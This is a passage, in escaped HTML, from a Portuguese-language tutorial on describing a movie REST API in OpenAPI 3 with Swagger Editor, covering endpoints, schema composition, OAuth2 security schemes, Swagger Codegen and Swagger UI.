                  &lt;span class=&quot;token key atrule&quot;&gt;$ref&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;#/components/schemas/Movie&apos;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Através do &lt;code class=&quot;language-text&quot;&gt;/movies&lt;/code&gt;, dentro de &lt;code class=&quot;language-text&quot;&gt;paths&lt;/code&gt;, estamos descrevendo o &lt;em&gt;endpoint&lt;/em&gt;. Com o uso de &lt;code class=&quot;language-text&quot;&gt;get:&lt;/code&gt;, declaramos que o &lt;em&gt;endpoint&lt;/em&gt; aceitará o método &lt;code class=&quot;language-text&quot;&gt;GET&lt;/code&gt;. Ainda abusando da indentação do &lt;em&gt;YAML&lt;/em&gt;, deixamos claro que existe uma resposta &lt;code class=&quot;language-text&quot;&gt;200&lt;/code&gt; (sucesso), que o seu conteúdo é &lt;code class=&quot;language-text&quot;&gt;application/json&lt;/code&gt;, e que dentro desse conteúdo haverá uma listagem de filmes.&lt;/p&gt;
&lt;p&gt;Com o &lt;code class=&quot;language-text&quot;&gt;$ref&lt;/code&gt; somos capazes de referenciar um &lt;a href=&quot;https://github.com/OAI/OpenAPI-Specification/blob/master/versions/3.0.1.md#pathItemObject&quot; title=&quot;Leia mais na especificação&quot;&gt;&lt;em&gt;Path Item Object&lt;/em&gt;&lt;/a&gt; do próprio arquivo que estamos trabalhando (nesse caso, o &lt;code class=&quot;language-text&quot;&gt;#/components/schemas/Movie&lt;/code&gt; está referência ao bloco de &lt;em&gt;YAML&lt;/em&gt; que criamos no capítulo anterior) ou até mesmo recursos externos. O que possibilita quebrar a &lt;em&gt;spec&lt;/em&gt; em diferentes arquivos.&lt;/p&gt;
&lt;p&gt;Se você já conhece o &lt;a href=&quot;http://json-schema.org/&quot; title=&quot;a vocabulary that allows you to annotate and validate JSON documents&quot;&gt;&lt;em&gt;JSON Schema&lt;/em&gt;&lt;/a&gt;, essa notação não lhe parecerá estranha.&lt;/p&gt;
&lt;h3&gt;Criando filmes&lt;/h3&gt;
&lt;p&gt;Ainda em &lt;code class=&quot;language-text&quot;&gt;/movies&lt;/code&gt;, ao enviar um &lt;code class=&quot;language-text&quot;&gt;POST&lt;/code&gt;, somos capazes de criar um novo filme. Se você já leu sobre &lt;a href=&quot;/tag/rest.html&quot; title=&quot;Leia mais sobre REST&quot;&gt;&lt;em&gt;REST&lt;/em&gt;&lt;/a&gt; sabe que essa prática é recomendada. Vamos adicionar o seguinte bloco abaixo do &lt;code class=&quot;language-text&quot;&gt;get&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;(&lt;span class=&quot;token punctuation&quot;&gt;...&lt;/span&gt;)

&lt;span class=&quot;token key atrule&quot;&gt;paths&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;/movies&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    (&lt;span class=&quot;token punctuation&quot;&gt;...&lt;/span&gt;)

      &lt;span class=&quot;token key atrule&quot;&gt;post&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;summary&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Add a new movie to the set
        &lt;span class=&quot;token key atrule&quot;&gt;requestBody&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;required&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean important&quot;&gt;true&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token key atrule&quot;&gt;application/json&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
              &lt;span class=&quot;token key atrule&quot;&gt;schema&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;token key atrule&quot;&gt;$ref&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;#/components/schemas/Movie&apos;&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;responses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;&apos;201&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Returns the new movie
            &lt;span class=&quot;token key atrule&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
              &lt;span class=&quot;token key atrule&quot;&gt;application/json&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;token key atrule&quot;&gt;schema&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                  &lt;span class=&quot;token key atrule&quot;&gt;$ref&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;#/components/schemas/Movie&apos;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Com o &lt;code class=&quot;language-text&quot;&gt;post:&lt;/code&gt;, temos a necessidade do uso de uma nova propriedade chamada &lt;a href=&quot;https://github.com/OAI/OpenAPI-Specification/blob/master/versions/3.0.1.md#requestBodyObject&quot; title=&quot;Veja mais na spec&quot;&gt;&lt;em&gt;requestBody&lt;/em&gt;&lt;/a&gt;. É com ela que descreveremos quais parâmetros o usuário precisará passar para criar um filme. Já o &lt;code class=&quot;language-text&quot;&gt;responses&lt;/code&gt; descreve o retorno de um &lt;code class=&quot;language-text&quot;&gt;201&lt;/code&gt; (created), com o recém criado filme como um &lt;em&gt;JSON&lt;/em&gt; como conteúdo da resposta.&lt;/p&gt;
&lt;p&gt;Opa! Temos um problema aqui! Nosso tipo &lt;code class=&quot;language-text&quot;&gt;Movie&lt;/code&gt; tem um campo &lt;code class=&quot;language-text&quot;&gt;id&lt;/code&gt; que é obrigatório por padrão. Esse campo não deveria ser enviado pelo cliente. Precisamos corrigir esse comportamento:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;(&lt;span class=&quot;token punctuation&quot;&gt;...&lt;/span&gt;)

&lt;span class=&quot;token key atrule&quot;&gt;paths&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;/movies&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    (&lt;span class=&quot;token punctuation&quot;&gt;...&lt;/span&gt;)

      &lt;span class=&quot;token key atrule&quot;&gt;post&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;summary&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Add a new movie to the set
        &lt;span class=&quot;token key atrule&quot;&gt;requestBody&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;required&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean important&quot;&gt;true&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token key atrule&quot;&gt;application/json&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
              &lt;span class=&quot;token key atrule&quot;&gt;schema&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;token key atrule&quot;&gt;$ref&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;#/components/schemas/NewMovie&apos;&lt;/span&gt;

(&lt;span class=&quot;token punctuation&quot;&gt;...&lt;/span&gt;)

&lt;span class=&quot;token key atrule&quot;&gt;components&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;schemas&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;Movie&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;allOf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;$ref&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;#/components/schemas/NewMovie&apos;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;required&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; id
          &lt;span class=&quot;token key atrule&quot;&gt;properties&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token key atrule&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
              &lt;span class=&quot;token key atrule&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; string
    &lt;span class=&quot;token key atrule&quot;&gt;NewMovie&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;properties&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; string
        &lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; string
      &lt;span class=&quot;token key atrule&quot;&gt;required&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; title&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Com o uso do tipo &lt;code class=&quot;language-text&quot;&gt;NewMovie&lt;/code&gt;, o &lt;em&gt;request&lt;/em&gt; feito pelo usuário está descrito da maneira correta (sem &lt;code class=&quot;language-text&quot;&gt;id&lt;/code&gt;). Note que em &lt;code class=&quot;language-text&quot;&gt;components&lt;/code&gt; aproveitamos todas as características de &lt;code class=&quot;language-text&quot;&gt;NewMovie&lt;/code&gt;, e adicionamos uma nova (ter &lt;code class=&quot;language-text&quot;&gt;id&lt;/code&gt;) para o tipo &lt;code class=&quot;language-text&quot;&gt;Movie&lt;/code&gt;. Isso tudo graças ao &lt;code class=&quot;language-text&quot;&gt;$ref&lt;/code&gt; e ao &lt;a href=&quot;https://github.com/OAI/OpenAPI-Specification/blob/master/versions/3.0.1.md#composition-and-inheritance-polymorphism&quot; title=&quot;Leia mais na spec&quot;&gt;&lt;em&gt;allOf&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/79970f53880d3bd1bca06e24ada5594d/6af66/swagger-editor-example-3.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 57.8125%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAABYlAAAWJQFJUiTwAAAC7UlEQVQoz2WSS28TZxSG5y90VxY0CS1WwJeZsedqj52Im1QoSFCUqkt+SKXQQgKiQKoihVTdskCAEEKqBHHSNqG5dUEhQBcpoiEGx7GNHTu+JunDGVeCSh3p1ZnvG82r93KUy3d0Lt01Gb69m6+uf8DgjR2cvvkh39zaydDtTzhz62NGpyP8ML+Xsdk9jM0FZb7H1dm97+B/U446cQ4bNqqmYxoWlmkTDIYIBcNEIho93T1MPZhnegXu/wmv1ypkCzWyxTq5UpP1Oh2UatBog2II0UnXpV/gxOPEBY7toKoq4UiYXT09TEz9yvX8EtdePGK5kOfvYoGXpWIHmUqZfKtBrlmj2m6hhMJhDiYcTqY8HD2KZdtYliXELoZpiMJu7k2M87C2zNSrRQobZUr1KqVGlbKgKOdMPkummKO+2USJiBI1EuGE43DEsknGYmgRFU3VBCrdH3UxPjnBxnab59kMpVZd3lvU5Fxni+pWk7VKiZygviUK/R97QyFsTWMgkRTbLrqhocZUTNcksCfQIVxvN/hrZZl8qUBVSFfWVjvnl7ksBbG9KvY3xLpi6Tr7RFUsGiPpuLgJl3hKskxKlp5DoDfA/cm0aIGy5NQSZf7zpiblFPMUq2Vq7WYnAn8qIbH7hRRxqq8fzzYxhFiXoqKSpyrWu3Z2kf55kqXsCj/JnJib5bc/HrLw5DG/P3vCwtNF5hYfMf/0MRVR3iG0xPaAqDskJViaSlAiCIVDaLrWKWV65gEjoz+S6jvCZ8e+5MChE1jOAaJGPzFzH3q0j0TfYbJvCii+Cs8y+DSRwBVCM2ljezZOysHb70m+vUxO/UJ6ZobT5y5y/vIVhi99z5kLIwwOf8vXcjc4dIGzF7+jUF3/d22SQvi5lJEQm3HZQX9t/F300SUt30uPd3JrsM2mTD/P7f/gH4F/X99qo+hSiiqWj4rl455HSlT666KK9WgsSiCwm7S0XGnUWM5kqDZkbZqN/6Ei983NNm8B98937Cag3B8AAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Editor Swagger exibindo a documentação dos endpoints&amp;quot;&quot;
        title=&quot;Editor Swagger exibindo a documentação dos endpoints&quot;
        src=&quot;/static/79970f53880d3bd1bca06e24ada5594d/6af66/swagger-editor-example-3.png&quot;
        srcset=&quot;/static/79970f53880d3bd1bca06e24ada5594d/8514f/swagger-editor-example-3.png 192w,
/static/79970f53880d3bd1bca06e24ada5594d/804b2/swagger-editor-example-3.png 384w,
/static/79970f53880d3bd1bca06e24ada5594d/6af66/swagger-editor-example-3.png 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Editor Swagger exibindo a documentação dos endpoints&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;A essa altura, descrever os demais métodos e &lt;em&gt;endpoints&lt;/em&gt; não será nenhum mistério. Portanto, vamos dar um &quot;fast forward&quot;.&lt;/p&gt;
&lt;h2&gt;Segurança&lt;/h2&gt;
&lt;p&gt;Segurança é importante, e tão importante quanto é deixar explícito para os desenvolvedores e usuários quais protocolos de autenticação/autorização que estão sendo praticados pela &lt;em&gt;API&lt;/em&gt;. No nosso caso, vamos descrever o uso do protocolo &lt;a href=&quot;/2018/02/06/oauth20-autorizacao-simples-or-is-it.html&quot; title=&quot;Leia mais sobre OAuth 2.0&quot;&gt;&lt;em&gt;OAuth 2.0&lt;/em&gt;&lt;/a&gt;, com o &lt;code class=&quot;language-text&quot;&gt;grant type&lt;/code&gt; &lt;code class=&quot;language-text&quot;&gt;password&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;components&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  (&lt;span class=&quot;token punctuation&quot;&gt;...&lt;/span&gt;)

  &lt;span class=&quot;token key atrule&quot;&gt;securitySchemes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;OAuth2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; oauth2
      &lt;span class=&quot;token key atrule&quot;&gt;flows&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;tokenUrl&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; https&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;//example.com/oauth/token
          &lt;span class=&quot;token key atrule&quot;&gt;scopes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token key atrule&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Grants read access
            &lt;span class=&quot;token key atrule&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Grants write access&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Falta anotar a propriedade &lt;code class=&quot;language-text&quot;&gt;security&lt;/code&gt; em cada &lt;em&gt;endpoint&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;paths&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;/movies&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;summary&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; A set of movies
    &lt;span class=&quot;token key atrule&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;summary&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Get a list of movies
      &lt;span class=&quot;token key atrule&quot;&gt;responses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; (&lt;span class=&quot;token punctuation&quot;&gt;...&lt;/span&gt;)
      &lt;span class=&quot;token key atrule&quot;&gt;security&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;OAuth2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; read
    &lt;span class=&quot;token key atrule&quot;&gt;post&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;summary&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Add a new movie to the set
      &lt;span class=&quot;token key atrule&quot;&gt;requestBody&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; (&lt;span class=&quot;token punctuation&quot;&gt;...&lt;/span&gt;)
      &lt;span class=&quot;token key atrule&quot;&gt;responses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; (&lt;span class=&quot;token punctuation&quot;&gt;...&lt;/span&gt;)
      &lt;span class=&quot;token key atrule&quot;&gt;security&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;OAuth2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; write&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Um ícone de cadeado deve ter aparecido no &lt;em&gt;preview&lt;/em&gt; do &lt;em&gt;Swagger Editor&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Outras ferramentas Swagger&lt;/h2&gt;
&lt;p&gt;Com a especificação acima temos o suficiente para publicar a documentação da nossa &lt;em&gt;API&lt;/em&gt;, e até mesmo gerar algum código &lt;em&gt;client&lt;/em&gt;. O &lt;em&gt;Swagger Editor&lt;/em&gt; quebrou um grande galho, auxiliando na escrita do documento, e é altamente recomendável o seu uso.&lt;/p&gt;
&lt;p&gt;Um &lt;em&gt;disclaimer&lt;/em&gt; especial vai para a versão do &lt;em&gt;OpenAPI Spec&lt;/em&gt; que usamos nos exemplos. Infelizmente, nem toda ferramenta suporta a versão mais recente da especificação, logo, você terá que usar versões mais antigas caso queira utilizar as demais ferramentas que o &lt;em&gt;Swagger&lt;/em&gt; disponibiliza.&lt;/p&gt;
&lt;h3&gt;Gerando código com o &lt;em&gt;Codegen&lt;/em&gt;&lt;/h3&gt;
&lt;p&gt;O &lt;a href=&quot;https://github.com/swagger-api/swagger-codegen&quot; title=&quot;Veja o repositório no Github&quot;&gt;&lt;em&gt;Swagger Code Generator&lt;/em&gt;&lt;/a&gt; é um projeto super bacana que interpreta a especificação e gera código para diferentes linguagens. Infelizmente, a versão estável do &lt;em&gt;swagger-codegen&lt;/em&gt; só suporta até a versão &lt;code class=&quot;language-text&quot;&gt;2.0&lt;/code&gt; do &lt;em&gt;OpenAPI Spec&lt;/em&gt;, e o &lt;em&gt;snapshot&lt;/em&gt; mais recente ainda não possui uma gama grande de linguagens disponíveis.&lt;/p&gt;
&lt;p&gt;Construir &lt;em&gt;SDKs&lt;/em&gt; nunca foi tão fácil:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;java -jar ~/Downloads/swagger-codegen-cli-3.0.0-20180314.142155-42.jar generate &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
    -i ~/Downloads/openapi.yaml &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
    -l java -o ~/Projects/java/mini-imdb&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Se você quer usufruir dessa ferramenta, é recomendado que utilize as versões do &lt;em&gt;OpenAPI Spec&lt;/em&gt; descritas no repositório do projeto: &lt;a href=&quot;https://github.com/swagger-api/swagger-codegen#compatibility&quot; title=&quot;Veja a grade de compatibilidade do codegen&quot;&gt;https://github.com/swagger-api/swagger-codegen#compatibility&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/swagger-api/swagger-codegen/wiki/api-client-generator-howto&quot; title=&quot;Veja mais no Wiki do projeto&quot;&gt;API client generator HOWTO&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Gerando documentação com o &lt;em&gt;UI&lt;/em&gt;&lt;/h3&gt;
&lt;p&gt;Com o &lt;a href=&quot;https://github.com/swagger-api/swagger-ui&quot; title=&quot;Veja o repositório no Gihub&quot;&gt;&lt;em&gt;Swagger UI&lt;/em&gt;&lt;/a&gt;, a partir da especificação recém criada, podemos gerar documentações elegantes e acessíveis ao nosso usuário final. O projeto é em &lt;em&gt;NodeJS&lt;/em&gt;, e necessita de algum &quot;Javascript-fu&quot; para executá-lo.&lt;/p&gt;
&lt;p&gt;A maneira mais fácil de usá-lo é através da plataforma &lt;a href=&quot;https://swaggerhub.com/&quot; title=&quot;The Platform for Designing and Documenting APIs with Swagger&quot;&gt;&lt;em&gt;SwaggerHub&lt;/em&gt;&lt;/a&gt;. Onde você pode criar um usuário gratuitamente e ter 1 (um) projeto publicado no plano &lt;em&gt;free&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/bc74de6f5871d19eee65089989c1308a/6af66/swagger-ui-example.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 58.333333333333336%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAABzElEQVQoz6WSPY/TQBCG/a8pKBAdv4AfQEMDAlEg0F2BkKhCAQKkIwq5xHYcf+z6Y73+Smw/jB24AshdwUqPZ1czej16Z5xl8IWNXhJEHrW1HJqefbEgth/564wj4zDMyEee/QzDSNNV1AeL8+DiHg8v73P5+T1rNybKDUnRkeQdsbFo26CEKYaZIdDFzD41uCohyDK2ocINE2zd4qisJlSWXVLgxSluNKGlKBGBSbBDle3MdP8TNdOSVS3FJMh/nKbv8GtN2OWotsScBMWX8eTLHH9z8x7/wTD7eRx66mNH2x/Ev+7U4dYL2O1jSY4c+oHjDeOd9MOEzEToDr0INjgvvsGbqxE/zsXDEj+x4l2DWCu+jLeSTlHqtB0I0xJtSpwn3gee+Qu2acx1FrOZyBNcownq4k72TcGuzvEzhS4MztMfHS/XNdehZh3JCsi0N9LtLqtQzUBSC80ZJDfVxNWRQNZIF9Lh1dcFy6tPqCQmjkK07NZ0T7XsVWlk2Usqa85SV5IvC7TWqEmQi0fw7jGFt8J436mCFXa3mmOvXDHSZ0zPM+e1i4n8k2D//DXdq7fkW49cJm6D/S9CjiplSHMhu4VcfpxSRPEs+BOG7pNaqPzPEwAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Exemplo Swagger UI&amp;quot;&quot;
        title=&quot;Exemplo Swagger UI&quot;
        src=&quot;/static/bc74de6f5871d19eee65089989c1308a/6af66/swagger-ui-example.png&quot;
        srcset=&quot;/static/bc74de6f5871d19eee65089989c1308a/8514f/swagger-ui-example.png 192w,
/static/bc74de6f5871d19eee65089989c1308a/804b2/swagger-ui-example.png 384w,
/static/bc74de6f5871d19eee65089989c1308a/6af66/swagger-ui-example.png 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Exemplo Swagger UI&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://app.swaggerhub.com/apis/kplaube/movies-api/v1&quot; title=&quot;Veja no SwaggerHub&quot;&gt;Confira o exemplo no &lt;em&gt;SwaggerHub&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
